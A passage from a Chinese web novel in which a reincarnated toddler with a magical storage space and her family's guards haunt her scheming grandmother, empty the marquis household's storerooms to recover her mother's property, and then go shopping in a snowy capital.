阿沅伸出指根带着可爱小窝窝的胖手指,先试探着伸出一根,但想想红袖说的,从庄子到京城,路上就要耗费一天,小眉头又皱起来。
干脆张开整个小巴掌,五根手指都翘了起来。
“不行,”孟大川摇头,窗外树梢上的积雪似乎都被他这坚决的语气震得簌簌落下。
“最多三天,再怎么着,柒叔也会把你拎回来。”阿沅知道这已是爹爹能应允的底线,只得撅了撅嘴,乖乖点头同意。
他们出发的第一天晚上,侯府就出了令人毛骨悚然的怪事。
老夫人所住的松鹤院闹鬼了,闹得整个侯府沸沸扬扬,人心惶惶。
那“鬼”来得无踪无影,去得无声无息,却把老夫人宋氏吓得魂不附体,躺在雕花大床上直哆嗦,屋里的丫鬟婆子们也尖叫不断,瑟缩成一团。
不得已,二房的人整晚不得安睡,全都跑过去战战兢兢地伺候着。
“光听闻脚步声‘咚咚咚’地跑来跑去,又快又轻,每次总要在老身跟前停上好一会儿,或是绕着床榻转好几圈,那阴冷的气息都贴上来了,连那…那喘气儿的声音都听得见,可愣是一点人影都见不着啊!”
老夫人宋氏脸色惨白如纸,紧紧抓住儿子孟二泉的衣袖不肯撒手,屋里纵然点了十几根最大的蜡烛,照得一片亮堂,也驱不散她心头的寒意。
一个上了年纪、在府中颇有体面的老奴也颤声道:“老婆子我在小厨房给老夫人煎安神药,药都快煎好了,总有…有那看不见的鬼手,‘啪’地一下就把药罐子打泼了,滚烫的药汁溅了一地,像是…像是专跟老夫人过不去一般。”
院里所有的婆子丫鬟都作证确有此事,除了守门口实在躲不开的,全都挤在了老夫人这边的外屋,个个面无人色。
二房长女十三岁的孟凌死死窝在小宋氏怀里,瑟瑟发抖,不敢闭上眼睛,也不敢东张西望。
十一岁的长子孟怀堂虽斜坐在靠椅上,强撑着副吊儿郎当、浑不在意的模样,但那不时瞟向门窗外黑暗处的眼神,也泄露了他心底的惊疑不定。
第一卷 第12章 金银财宝全进来
虽然来京城坐了一整天马车,但阿沅在娘亲特意为她布置的、铺着厚软锦褥的小床上也睡了个饱觉,养足了精神。
所以,天一擦黑,她便开始兴致勃勃地“排兵布阵”。
她一边享受着红袖的喂食,一边小嘴吧嗒不停,开始安排任务,每讲完一句,就张嘴接一口饭,模样认真又逗趣。
“九叔、屎一叔,”她口齿还带着点奶气的含糊,却指挥若定,“泥们吓坏祖母,不让她睡觉,在她耳边吹气!”
“屎五叔、屎六叔,”阿沅又转向另外两人,“泥们跟窝,把坏人引开。”
被点名的孟十一、孟十五、孟十六,三个暗卫,表情顿时精彩极了,一个个冷峻的脸庞机不可察地抽搐一下,面前的十大碗都感觉闻了味。
只有阿九幸灾乐祸地看着他们,红烧肉嚼得喷香。
对上阿沅那双亮晶晶、充满期待的大眼睛,他们所有的话都咽了回去,个个点头应是。
“绿果、红豆,开锁,守门。”阿沅继续分派,两个丫鬟立刻挺直腰板,脆生生应“是”,脸上是既紧张又兴奋的神情,没想才跟小姐几天就能干大事。
“那奴婢呢?”红袖喂饭的动作一顿,跃跃欲试地问。
本来计划里确实没她什么事,她偏以小姐年纪小,夜里睡觉、平日吃饭都需要人贴身服侍,而她是最佳人选为理由,才硬是赖着跟来的。
阿沅歪着小脑袋想了想,“泥负责举蜡烛。”
“那在下呢?”一旁的孟柒等了半天,也没听到自己的名字,终于忍不住郁闷出声。他可是主子钦点的、这次行动的护卫头子。
“泥…”阿沅的小脑袋又转了转,眼睛忽然狡黠地一亮,神神秘秘地拖长了语调,看着孟柒那张向来没什么表情、此刻却隐隐透着点憋屈的脸,起了逗弄心思:“你…去听墙角。”
对这个被爹爹强压给她、总是一本正经的柒叔,她可是找到了“报复”的机会。
孟柒闻言,眉头立刻紧紧锁成了一个“川”字,这分明是妇人们才热衷的差使!他堂堂暗卫头领,武功高强,潜伏刺探是本职,可这“听墙角…
他看看一脸无辜又狡黠的小姐,又看了看抿嘴偷笑的绿果、红豆和满脸期待的红袖,一股深深的无力感涌上心头。半晌,他才从喉咙里挤出一个闷闷的、极不情愿的:“是!”
每次主子交代下来的任务,从来都是他来主导安排。可这回出门前,主子特意把他叫到跟前,千叮万嘱:此行一切,全凭小姐安排,你只管护她周全。
所以,除了牢牢护住小姐,对这些古灵精怪、令人啼笑皆非的指派,他又有什么办法?只能无条件配合。
有了十五、十六在外围悄无声息地清场,确保无人打扰,阿沅小手一挥,颇有气势地指向第一个目标——他们大房的含章苑。
毕竟才离开了三个多月,原主对这里的每个房间、一草一木都熟悉得如同自己的小手掌心,红袖也不例外,主仆二人对这院子有着刻在骨子里的记忆。
“开锁不留痕迹,待会儿还要原样关上,别让人看出来哟。”
阿沅利落地吩咐绿果和红豆,小脸板着,一副认真指挥的模样,完全忘了自己这会儿应该是个说话奶声奶气、懵懂无知的三岁小娃。
好在夜色深沉,大家注意力都在任务上,竟没人特别留意她这与年龄不符的“老成”。
进了正屋,再通过正屋摸进侧屋的两间库房。阿沅就着红袖手里那簇跳动的烛光看去,只见三层共八排的储物架子还是满满当当,各种箱笼、摆件、布料堆得严严实实,大件的器物也直接摆在地上,琳琅满目,看样子还没被动过。
想来那窝狼心狗肺的东西,是料定了他们会死在偏僻庄子上,并不急着把这些财物立刻抢了去,倒让阿沅捡了个现成便宜。
“小姐,快看,这箱子里也都是满的!”红袖也没闲着,手脚麻利地打开就近的两个大箱子,借着烛光看到里面珠光宝气,眼睛立刻亮了起来,开始有了兴奋劲。
“嗯嗯,”阿沅点点小脑袋,推了推红袖的胳膊,“泥走前面…才够亮嘛。”红袖不疑有他,乖乖举着蜡烛走在前头照路,一点都没怀疑小姐的用意,更不会转头往后看。
阿沅跟在她身后,悄悄伸出小胖手,对着那些架子、箱子,嘴里开始无声地念念有词,小脸上表情专注又带着点淘气的笑意,心里头的小算盘打得噼啪响。
“来,来,来,财宝全都来来;进,进,进,值钱的东西都进进;要,要,要,爹爹嘚嘚娘亲需要好药药,还有阿沅的好看衣裳,甜甜糕!”
随着她意念所及,小手拂过之处,那原本塞得满满的架子就像被一只无形的大嘴吞吃了似的,瞬间变得空空如也,连一丝灰尘都没多落;地板上那些大件器物也眨眼消失不见,只留下积年灰尘的印子。
“走,进娘亲屋里去!”搜刮完库房,阿沅小手一指,毫不留恋。
“正房,”那里有娘亲梳妆台,有漂亮匣子!
“去花厅,”那有镶了宝石的屏风!
“去窝们住的侧屋,”小拔步床和玩具箱也要!
阿沅一一指挥,声音清脆,带着孩童特有的雀跃,仿佛在玩一个有趣的搬家游戏。
红袖举着蜡烛,被她指使得团团转,烛影随着她们的脚步掠过一个又一个房间。
凡烛光所过之处,如同被狂风卷过,又似被蝗虫啃噬,变得空空荡荡。
不但那些珍贵的紫檀木、黄花梨家具一件不留,就连墙上挂着的名家字画、多宝阁上的古玩玉器,也全都消失得无影无踪,整个院子变得空空荡荡。
再去往二房的芝兰苑时,阿沅小脑袋瓜转了转,没那么“贪心”了。她想着反正以后还有机会帮他们“刮地皮”,这回就先收点要紧的。
于是,她主要瞄准了银票、铺子房契、地契这些轻便又值钱的纸片子,小手一挥,统统收走。想了想,觉得下人的卖身契说不定以后也有用,也一并捞了过来。
至于金锭子、银锭子,只清空了锁在箱柜里成堆的,明面上摆着的一点没动。各间屋子里的家具器物,这次也暂且放过它。
一来是不想他们发现得太早,打草惊蛇;二来嘛,她感觉自己的空间里,那个不是很大的小庭院应该快堆满了,再多塞些大件怕是要挤坏了。
还有一个她自己的小顾虑——她还没搞清楚那空间里会不会下雨呢,万一下起雨来,把这些精贵的家具字画泡坏了可怎么办?她可心疼了!看来回了庄子还得转移。
第一卷 第13章 究竟哪里得罪了这个小祖宗?
从芝兰院出来,阿沅站在月光下,小手叉着腰,有点气闷地鼓了鼓腮帮子。
二房库房里的东西虽然没有娘亲的嫁妆那么多、那么精,但也塞了满满一屋子呢!这事透着蹊跷。
宋家不过有个七品小官,那还是老侯爷后来才给谋的官职。当年宋家嫁女儿的时候,为了体面老宋氏没少贴补,才凑够了八抬嫁妆,里头还都是东拼西凑的便宜货。二叔自己呢,官居六品,那点子俸禄都不够他自己出去喝两顿好酒的。
这些好东西,要么是他们贪墨来的,要么就是变着法子从娘亲那里“打秋风”弄的!再就是坏祖母的偏心。
一想到这儿,阿沅心里就暗恨,又给二房记下了重重的一笔小黑账。
再去往前院时,阿沅可就不客气了。爹爹孟大川以前住的院子,里里外外、角角落落,全部清空!
哥哥孟怀瑾的书房,更是重点照顾对象,不但墙上的书画、多宝阁的摆设,就连那厚重的书柜、宽大的书桌、还有上好的笔墨纸砚,全都一星半点不留,搬得那叫一个干净彻底!
二叔的书房和住处,她虽然没收多少东西,但是专挑古籍字画,越是隐秘藏着的东西她越收,总觉得没准对爹爹有用,对把他们制成冰人有用。
等再兜回松鹤院附近时,却被守在那里的阿九和十一拦住了。
阿九摇摇头,低声道:“小姐,里面一屋子的人都吓得不敢走,缩在老夫人屋里。有丫鬟婆子壮着胆子想出来瞧瞧,都被我们弄出的动静给吓回去了。”
“那就再吓唬他们一轮,吓到他们不敢睁眼!”阿沅小拳头一握,随即又松开,狡黠一笑,“窝们白天再来‘串门’。现在,撤!”
十一急急问:“那老大呢?”他指了指还在屋顶上潜伏着的孟柒。
阿沅头也不回,迈着小短腿往前走,奶声奶气的声音在夜风里飘过来:“柒叔呀?继续…听墙角!要听得仔细哦~”
屋顶上,已经掀开瓦片听了许久、吹了大半个时辰冷风的孟柒,内心顿时一阵无声的哀嚎。
但他仍然认命地伏低身子,继续支棱起耳朵,仔细分辨屋内的每一丝动静,只是心里怎么也想不明白:自己究竟是哪里得罪了这位小祖宗?这“听墙角”的差使,何时才是个头啊?
他们住的是柳氏的陪嫁铺子,距离侯府只隔了两条街,是前铺后院的格局,刚好够他们这么多人凑合着住。
院子里有口老井,墙角还长着几丛野草,暗卫打水的时候,阿沅还踮着脚往井里瞧了瞧,黑布隆冬的啥也看不到,还被红袖扯领子吓了一跳。
洗漱完,被红袖裹进软软的被子里,阿沅只露出一张粉嘟嘟的小脸。
她躺到床上,立刻伸出小短胳膊,学着戏文里的腔调,一本正经地赶人:“不睡觉,打板子!不喊自到,打板子!”
说完还鼓起腮帮子,努力做出凶巴巴的样子,可那长长的睫毛忽闪忽闪的,实在没什么威慑力。
谁都听得出,小姐分明就是纸扎的老虎——吓唬人,所以绿果和红豆并不想走,她们对今晚的事还意犹未尽。
从进庄子第一天,她们就意识到主子们跟侯府里的人不共戴天。所以不明白小姐为什么带着她们在侯府只逛不拿。
但她们并不打算多嘴问一句,只是纯粹兴奋得睡不着,想找可爱的奶团小姐说说话。
阿沅板着脸,脆生生地道:“早点休息,明日再去(侯府)!”她哪里会不懂绿果和红豆心里的想法,只是有些东西急不得。
见两人还围着自己打转,她急得在被窝里蹬了蹬小脚丫,表示抗议,床板蹬得砰砰响。
“再不走,小心小姐明天打发了你们。”红袖叉起腰,鼓着眼,像只护崽的老母鸡护住床头。
绿果和红豆吐了吐舌头,这才笑嘻嘻地“落荒而逃”。
幔帐一落下,听到脚步声走远,阿沅大眼睛骨碌一转,确认没了人,立刻心念一动就进了空间。
那许久不住人的简陋屋子又冷又硬,哪有她自己的小单间住得舒服呀,她打算进去好好睡一觉。
可刚一闪身还没进屋,她就被眼前景象吓了一跳,小嘴张成了圆圆的“O”形。空间里多了不得了的东西,准确来说是多了一个院子——一个一模一样的含章苑,就安安静静地立在实验室的隔壁,连门口那棵歪脖子树的影子都分毫不差!
这是空间的奖赏吗?因为她把家里的财物取回来的缘故?
一定是的!阿沅顿时乐开了花,拍着小手在原地蹦跶了两下:“发财啦!院子飞来啦!”
她高兴得像是偷吃了蜜糖,迈开小短腿就围着院子转起圈圈,一边转一边咯咯笑。
比起庄子里的小破屋,她还是更喜欢住自家的小院子,只是,爹娘和哥哥可能进不来。
一间一间屋子推开门去看,连原本下人住的小小厢房都没错过,每看一间,就发出“哇”的一声惊叹。
嗨!确实就是三岁小奶娃的模样,但也没办法,谁叫她现在真的小呢?
刚刚在侯府含章苑收的东西,原原本本地出现在了空间里含章苑的各间屋子中,桌子、椅子、绣墩、妆奁……摆设连角度都一点没变。
就连哥哥平时爱翻的那几本书,都还摊在娘亲外屋的几子上,有一本还打开着,像是主人刚刚还翻过一般。
阿沅踮脚摸了摸多宝阁上的玉摆件,又跑到拔步床边扯了扯熟悉的锦被,要不是扭头就能看见旁边那栋亮堂堂、奇奇怪怪的现代大楼,她真以为自己还在平阳侯府没出来呢。
“唔……好可惜哦,”她掰着手指头,小大人似的叹了口气,自言自语地嘟囔,“奖励的不是整个侯府……前院和二叔的院子,没有飞进来。”
不过万幸,从那些地方收来的东西,都整整齐齐地归置在了含章院空着的屋子里,一箱一箱,一摞一摞,分门别类,清清楚楚,一眼看过去一点也不乱。
“还有这种奖励呀,”阿沅乌溜溜的眼珠里满是兴奋的光,她握紧小拳头,对着空气挥了挥,声音软糯却充满干劲。
“那窝以后,要更~更~更努力才行!”
这一晚,阿沅连做梦都“咯咯”笑醒了好几回,幸亏三岁的小娃娃睡得沉,翻个身,咂咂嘴,又抱着被子甜甜地睡过去了。
第一卷 第14章 怀疑你在抢我饭碗
阿沅在小单间里睡了个十足十的饱觉,小小的身子陷在松软的床垫中,醒来时小院屋里仍是漆黑一片。
她迷迷瞪瞪地扒着窗沿往外瞧,天边连一丝鱼肚白都没有,便又蜷回去,囫囵个儿地沉入了梦乡。
这一觉直睡到日头高悬,明晃晃的阳光透过窗纸,将满室映得亮堂堂,她才揉着眼睛坐起身,腹中早已是空空如也,饿得咕咕直叫。
外间堂屋里,与她境况差不离的几乎是所有人,都围坐在一张大圆桌旁用早饭。
孟柒正一手端着一碗清粥,一手拿个大肉包子吃得狼狈,抬眼便与刚走出来的阿沅对上了视线,他眼底两抹浓重的青黑,脸上写满了疲惫与无奈,幽幽地望过来。
阿沅被他那眼神看得一个激灵,赶忙挤出个甜甜的笑容,声音还带着刚睡醒的绵软:“柒叔回得这么早呀?”话一出口,就觉得自己说错了。
孟柒显然没被这故作乖巧的问候安慰到,若是此刻站着,怕是真要脚下一软打个趔趄。
他狠狠咬着一只汁水丰盈的肥肉包子,闻言闷闷地“嗯”了一声,声音从包子缝里挤出来,带着些含糊的郁气:“刚回。”
一直到阿沅停了筷,孟柒并没有告知她墙角听来的消息,阿沅也不催促不焦急,这时候他向个三岁小娃一五一十汇报,才真真是奇怪。只想着,如果是她应该知道的,以后爹娘定不会瞒她。
“吃饱~去找~老妖婆!”被红袖抱起来,坐下的小奶团子挥舞着小勺子,又开始装小大人安排起来,一双乌溜溜的眼睛里满是跃跃欲试的兴奋。
孟柒听得眼皮直跳,只觉得心口又中了一箭。他刚马不停蹄地奔波回来,气还没喘匀呢。这下他更确信,自己上辈子定然是与这位小主子结下了什么不解的仇怨。
“昨晚老太太着实吓得不轻,”旁边一十五见状忙禀报,试图缓和气氛,“天还没大亮,就慌慌张张差人搬出松鹤院,到前头二爷院子去住了,应不会那么快搬回来。”
他学着那老太婆惊魂未定的腔调,压低了声音道,“后院阴气重得骇人,还是住在前院踏实些。”
“侯府里头那些人,折腾了一晚上没合眼,这会儿倒是消停了,估摸着都补觉了。”孟柒叹了口气,再回去倒不是不行。
只是他看着眼前精神头十足的小姐,再想想自己熬得通红的眼睛,只觉得浑身骨头都叫嚣着疲惫,恨不能立刻寻个地方躺上几个时辰,哪怕合合眼也是好的。
不过,昨晚他伏在屋顶上揭瓦,倒真是听到了不少腌臜隐秘,那些话此刻沉甸甸地压在他心头。
前几天,他只觉侯府那些人心肠狠毒,无情无义,竟将自家主子丢到这鸟不拉屎的破庄子里不闻不问。
可自从主子雷厉风行让他处置了庄头一家,又吩咐他们将整个小院守得铁桶一般严密,还往夫人和两个小主子身边安排了人,他才渐渐嗅出事情远非表面那么简单。
昨晚听了一夜壁角,那些所谓的“亲人”私下里的盘算、冷血无情的话语,才让他彻底明白,那哪里是人,分明是一群披着人皮的豺狼畜生,心思歹毒得很。
“搬了正好!”
阿沅一听,眼睛更亮了,拍着小手道,“窝要去~挖空它!”
昨晚正是因为那一屋子人都挤在松鹤院里,才没方便她动手。如今她自己搬走了,岂不是天时、地利、人和都凑齐了?
“小姐想要的,可是这些?”孟柒指了指屋角,那里堆着两个鼓鼓囊囊的大布包袱,并两只沉甸甸的箱笼,“如若不全,在下和几个兄弟今晚再跑一趟便是,不必劳动小姐亲自涉险。”
实际上,昨晚阿沅撤离之时,特意给他留了两个暗卫相助,他倒也不算孤军奋战。
“这是什么?”阿沅顺着他的手指望去,顿时像只欢快的小雀儿,噔噔噔地跑了过去。红袖连忙跟上,手脚利落地帮她解开包袱的结,又掀开了箱笼的盖子。
“铺子的契书、房契、地契、银票,还有现银,方便取的都在这儿了。”见小主子凑在箱子前,小脸被金银的光芒映得发亮,一副喜不自禁的模样,孟柒脸上终于有了点松动的神色,眼底也掠过一丝微不可察的得意。
十五和十六更是挺直了腰板,脸上带着干成了大事的畅快,“除了那些摆在明面上、一时动不得的,其他的,我们给她抄了个底朝天,半点没剩。”
阿沅蹲下身,一包一包、一箱一箱地仔细翻看,小嘴惊讶地窝成了圆形。
那老妖婆的家底还真是厚实,银票和房契、地契都收在一个精巧的紫檀木小匣子里,塞得满满当当;另有半箱子黄澄澄、沉甸甸的金元宝,晃得人眼花;余下的便都是白花花的银元宝,整齐地码满两个大木箱子。
“窝…看看,”她拿起那匣子地契,又噔噔噔地跑回桌边,踮着脚将契纸一张张铺开,胖乎乎的小手指头在上面点点划划,装模作样地审视着。
直到翻了七八张,孟柒忽然察觉什么,疑惑地问道:“小姐……认得字?”
阿沅心里“咯噔”一下,这才后知后觉地想起,原主才三岁多一点,按理该是不识字的。
她连忙把手上的契纸翻来覆去,最后索性放倒了看,倒着瞅,小眉头紧紧拧着,一副努力辨认却认不得的苦恼样子。
想想似乎不够,她又抬起头,冲着孟柒鼓起腮帮子,圆溜溜的眼睛里含着被戳破的羞恼,奶声奶气地控诉:“柒叔!泥别欺负人!”
她那副强装大人、却又童稚毕露的萌态,只让满屋子的人都忍不住背过身去,肩膀耸动,捂嘴低笑。
孟柒倒是没笑,脸上仍是那副没什么的表情,只是伸手往自己怀里一探,取出一张叠得整齐的纸,“啪”地一声轻拍在桌上。“小姐要找的,可是这庄子的地契?”
阿沅凑过去,待看清纸上端端正正写着的“嘉禾庄”三个大字,心里一直悬着的那块石头终于落了地,欢喜之情溢于言表,脱口而出:“柒叔,爱泥哦!”
这话直白得让孟柒那张没什么表情的脸微微一僵,随即,他那颗因连日奔波而冷硬疲惫的心,似乎悄然裂开了一道细微的缝隙,透进一丝暖意。
阿沅继续翻看着手里的纸张,忽然间,她眉头一皱,小脸上又透出了一股不满足的神情,“娘亲说,卖身契,好…拿捏。”
“这个在下倒是想到了,”孟柒点了点头,语气平稳地补充道,“不过只取了庄子里十几个下人的。另外,侯府大管家那张,思量着或许日后有用,便也一并取了回来。”
说着,他又伸手入怀,这回掏出厚厚一叠印有官府印鉴的契纸,稳稳地摁在阿沅的小手里。
阿沅看着手里这一大摞,一时有些语塞,抬起小脸,眨巴着大眼睛望着孟柒,那眼神,心里埋怨开了:“我怀疑泥在抢我饭碗,可我没有证据。”
又低下头,一副呆萌的模样,将那些卖身契上下翻看、颠来倒去地“研究”了半天,好像她真能从那密密麻麻的字里行间看出朵花来。
第一卷 第15章 买买买
“那泥们~赶紧去睡觉,”阿沅将契纸小心收好,实则进了空间,小手一挥,做出了安排,“今晚换窝去~听墙角!”
眼下立刻打道回府是不可能的,这一趟来京城,那几个仇人的面还没见着呢!虽然不至于立刻将他们千刀万剐,可也不能白白便宜了他们。
阿沅心里的小算盘拨得噼啪响,一股子要使坏的灵动劲儿在眉眼间流转。
“红袖,拿些银子~去~买买买。”原主对京城的记忆,几乎全局限在侯府那片四四方方的狭窄天地里,以至于阿沅此刻对这座都城的繁华充满了前所未有的好奇。
她声音里带着雀跃的期待,指向窗外隐约传来的热闹:“窝带泥~看~繁华!买买买~多多的。”
红袖还站在那两大箱金元宝银元宝面前发呆,一得令,银元宝就往自己的怀里塞,足足塞了七八个,小腹鼓鼓囊囊,才记起应该用荷包装。
再一看自己和小姐的荷包太小,干脆塞了两个金元宝进小姐的荷包递给她,自己的荷包则又装了两大锭银元宝,然后拎着一直傻笑。完全把木匣子里的银票废纸而不自知。
“泥们,”阿沅笑得眉眼弯弯,看向同样睡够了的另外两个暗卫孟九和十一,“去买…银丝炭,多多的。”
红袖这时候终于不再呆愣,低头看了看自己有点发痒的冻疮手,怕他们听不明白,嘟囔一句,“多多的,有多少买多少。”
孟九和十一诧异看看红袖,又看向小姐,阿沅朝他们露出八颗小米牙,“炭盆…也多多的。”
两人才连忙应“是。”
阿沅又道,“不好的木炭~也多多的。”
孟九迟疑:“普通木炭?也…全部买完?”
阿沅脆生生,小手大方一挥:“佃户…一户…一车。”
所有人感动,小姐怎么那么善良!连低贱的佃农都想着给雪中送炭,然后谁都没质疑小姐的决定。
小姐这意思就是说,他们也可以跟主子一样,用最好的银丝炭,还可以用很多。
“还买…多多的粮食。”阿沅大手一挥,将手中那一大匣子的银票推给了孟柒。
这其实是阿沅睡饱醒来后,临时做的决定。她忽然记起书本里的情节,今年的京城遭遇了百年一遇的雪灾,雪天会一直持续到来年的三月中旬。
孟大川死后没多久,已经大雪封门,柳氏和孟怀瑾的药也因此断了一段时间,但是病情却不见好,除了没能及时解毒并滋补,也全因庄子里没有火炕,炭火也准备不足,冻伤了身。
这场大雪中,庄子里不少佃户的屋子都被雪压垮塌,死了不少人。
由于冻土,直到五月底庄子才恢复春耕。粮食价格暴涨,持续到第二年的秋收时节。
孟柒看向不经意一般,安排完后摇头晃脑吃点心的小姐,眼眸幽深。
……
京城,还真没有阿沅想象的那么好。
除了房屋更加古色古香——那瓦檐的弧度带着岁月磨蚀的钝重,青石板路被车轮碾出深深浅浅的凹痕,雨雪天积着浑浊的水洼——之外,还真不像见过的古代剧那么美好。
街道不是很宽敞,大多只能并排两辆马车平行,车辙交错时,车夫须得扯着嗓子吆喝、小心翼翼地错轮;最宽大的朱雀大街倒是可以并排四辆马车,但仅是唯一的一条。
且街面虽宽,两旁却挤满了挑担叫卖的小贩和蹲踞歇脚的力夫,显得拥挤而喧嚷。
高门大宅门庭确实建得挺高,但那朱漆大门和围墙的颜色并没有现代的红墙碧瓦那么醒目鲜艳,朱色里掺着暗褐,像是陈年的血渍;粉刷得也没那么均匀,有些地方涂层厚得起了皱,有些地方却薄得露出底下的灰泥。
而且大多已经斑驳褪色,雪水沿着墙檐淌下,划出一道道污浊的泪痕。
大的酒楼、青楼、客栈靠街位置勉强起有两到三层,窗棂的雕花已熏得发黑;民房都只有一层,低矮得仿佛压着人的脊梁,偏一些的巷子里很多还是盖瓦的土坯房,墙皮剥落,露出里头夯实的黄土和碎草,还好,屋顶上盖的都是瓦片,而不是稻草。
京城毕竟不同于别处,街上衣着光鲜的老爷夫人、公子小姐不少,他们穿着绸缎或细棉的袍子,外头罩着毛皮斗篷,乘着车厢雕花、帘帷锦绣的马车,马蹄嘚嘚踏过石板,铃声清越——光从衣着和所坐车马就跟普通平民一分为二,一目了然。
但再好的料子,也不如现代一般颜色印花应有尽有、繁花似锦:那缎子的光泽是温吞的,花纹多是传统的缠枝或云纹,颜色也逃不出靛青、绛紫、秋香、大红大紫等十来种,看久了便觉得沉闷。
平民百姓衣着的粗棉布不是黑色、靛蓝就是灰扑扑的深灰色,像蒙着一层永远掸不掉的尘土;衣裳裁剪也极为简单,直筒的褂子,宽大的裤子,上面极少有花纹,针脚粗疏得能塞进米粒,穿着打补丁的还不在少数。
巷子口还有不少乞丐蜷在向阳的墙角晒太阳,破碗搁在身前,里头零星躺着几枚铜板,他们的眼神空洞,仿佛看透了这京华的虚影。
阿沅自嘲地抖动了一下小奶瓢——那帽兜上的小球随着她的动作轻轻一颤——被古代剧荼毒惯误导,都以为古代比现代还要繁华。
原来这才是真正的古代:房屋是低矮的,街道是拥挤的,色彩是黯淡的,富贵与贫贱之间隔着一道肉眼可见的鸿沟。
这便是并不富丽堂皇的大康朝,一个呼吸间都带着烟火与尘灰气息的实实在在的尘世。
这个朝代,看着绝不是什么大康盛世。
普通百姓认为的好生活,应该也只过是图个四季温饱、平平安安而已:缸里有米,灶下有柴,冬日有一件裹身的厚袄,雨天屋子不漏水,便是莫大的福气。
即使没有灾荒战乱,日子也好不到哪去,赋税、劳役、还有那说不清道不明的盘剥,像细绳般勒在颈间,让百姓不得不低头。
这样看来,她这个种子专家没准能为大康朝做点贡献——让稻穗结得再沉些,让麦粒长得再饱些;也应该以解决百姓温饱为己任,哪怕只是一星半点的改善,也是在这灰扑扑的画卷上添一抹微亮的颜色。
第一卷 第16章 别不是宫里出来的小公主
“好冷冷,买成衣。”阿沅看见招牌描金的成衣铺子就叫停,一被红袖抱下车,也不等人就噔噔噔跑了进去,像只急于归巢的雀儿。
红袖和绿果、红豆连忙跟了进去,裙裾扫过门槛,带进一阵细碎的雪沫。
“夫人,我们锦绣坊新出的衣料和最新款式的过年成衣刚刚送过来,请进来选一选?”
天气冷,还下着小雪,细密的雪粒子沙沙地打在门帘上,即使是锦绣坊这样的大型绸缎成衣铺子,也难得见几个主顾。
一个伙计本抄着手靠在墙边打盹,听见门响,一个激灵抬起头。
只见一阵寒风猛地灌进来,吹得柜台上账册的纸页哗啦作响,铺里的所有人不约而同打了个寒战,缩了缩脖子,却没见个人影,小二心里嘀咕:真是见鬼了。
“小姐,慢点!”再一次门帘掀开,冲进来三个半大小姑娘——红袖领头,绿果、红豆紧随,脸颊都冻得红扑扑的——后,阿沅已经冲到了柜台前,小小的身影被高大的柜台衬得像只滚动的绒球。
“咦!人呐?”小家伙奶声奶气地问,才及柜台一半高,她努力踮起脚,柜台里往外探,也只见露出帽兜顶上的那个小球。
“这件…娘亲哒!这件…爹爹哒!嘚嘚…这件!红袖…冷…这件!…”她的小手急切地指点着悬挂的成衣,语速快得像蹦豆子,每指一件,就响亮地报出归属,俨然一位指挥若定的小当家。
柜台内闲坐着的女掌柜听到声音,还没见到正主,就听见后面跟进来的一个红衣小姑娘又复述上了,声音清脆利落:“没听见小姐我们点菜吗?这套我们夫人的,身长六尺八寸,身材偏瘦;这套我们大爷的,七尺八寸,身材魁梧;还有这套…”
“点菜”这个词还是刚跟小姐学来的,红袖现学现卖,说得一本正经。
当阿沅盯上了套在木头小人上的那套大红锦衣——那红色在略显昏暗的铺子里像一簇跳动的火苗——脆生生大叫了一声:“我哒!”
女掌柜这才后知后觉,连忙走出柜台,俯身向下。铺子里的伙计和几个原本在挑选衣料的女顾客也好奇围拢了过来,脚步声杂沓。
穿着绛紫缎子袄裙的富贵夫人惊呼:“哪家的奶娃娃,圆滚滚的,可爱得紧。”她伸出手,似乎想摸一摸那帽兜上的绒毛。
可不可爱么?
这次出门,柳氏可是在着装上给的阿沅下了功夫,怕她冷,把她包裹得圆滚滚像个的福团,也不失极其精致。
只见小家伙裹在一袭樱桃红羽纱面白狐里小斗篷里,斗篷边缘一圈丰密的白毛已被雪粒打湿,几缕黏在一起,像给粉嫩嫩的圆脸蛋再围了圈融化的奶沫子。
帽兜很深,只露一张糯米团子似的脸,双颊被寒风吹得比斗篷还要艳,像刚点上的胭脂,还带着湿漉漉的寒气。
里头是同色暗花缎小袄,金线暗绣“岁岁平安”的纹样在灯光下隐隐流动,扣子是五颗小圆珊瑚,一粒粒像晶莹的冰糖,亮得人想含一口。
袄下是灰鼠皮连脚棉裤,裤腰高到胸口,用一条鹅黄缎带系成个大大的蝴蝶结,带子尾端垂在圆鼓鼓的小肚皮前,随着她一步三晃。
脚上是白毡靴,靴头绣着金元宝,出“吱咕吱咕”的声响,此刻站在店铺光洁的地面上,留下几个淡淡的水印子。
见那么多人围着她,阿沅也不害怕,故意呆萌地“咦?”了一声,小手努力往柜台上攀,指尖刚够到柜台边缘,又:“咦——”了一声,尾音拉得好长,惹得旁人都笑了。
“掌柜的不卖衣衣,要钱钱么?”她滴溜溜的大眼睛转向女掌柜,又转向众人,眼珠乌黑晶亮,透着纯然的无辜与好奇。
有人忍不住用指尖轻轻碰了碰她帽兜上摇晃的小球球,小球碰在她冰凉的脸颊上,她眨了眨眼。
“小姐,您要这套?”女掌柜连忙蹲下身,视线与她平齐,逗着她玩,也示意伙计去接待红袖,处理刚刚那些“点菜”的订单。
“是哒!好看…过年…拜年。”阿沅小大人般,无比认真地点点头,指向那套大红喜庆的童装时,眼里都闪出了小星星,那不止是一件衣服,而是孩童的快乐和期待。
众人顺着她藕节似的小手指的方向看上去。
只见小木人身上穿着:
大红织金缎袄裤,团花五福捧寿的图案在胸前熠熠生光。
三蓝牡丹镶领,衬着一圈雪白的狐风毛,柔软蓬松。
高腰紧裤裤脚束成灯笼状,边缘绣着海水江崖纹,金线随着目光流转微微荡漾。
无缃比甲上绣着百子戏春图,一个个孩童憨态可掬,仿佛一动就会叮铃作响。
旁边的虎头帽额前绣着威风的“王”字,翡翠镶成的眼睛炯炯有神,仿佛能守着岁岁平安。
还真是好看,应该也不便宜,更是觉得也只有这么好看的奶娃娃才衬得上这套衣服。
好眼光。
“这孩子穿上,再抱个金元宝,还不就是个小福娃!”有夫人惊叹,仿佛已经看到了那画面。
“像年画上的招财童子才是。”有人轻声反驳,语气里满是喜爱。
有人起了逗弄之心,弯下腰问道:“奶娃娃你进来就点,有银子吗你?”
“金元宝,给!”看不上谁呢?阿沅被这话一激,立刻往自己腰间那个绣着缠枝莲的小荷包里一掏——小手在里面摸索了一下——然后拿出一个黄澄澄、沉甸甸的小金元宝,“啪”地一声拍到了女掌柜摊开的手上。
女掌柜被那分量和冰凉触感镇住了,眼睛微微睁大;众人也看得一愣一愣的,铺子里静了一瞬。
“没准是宫里出来的小公主呢。”有人压低声音惊呼,目光里多了几分敬畏与打量。
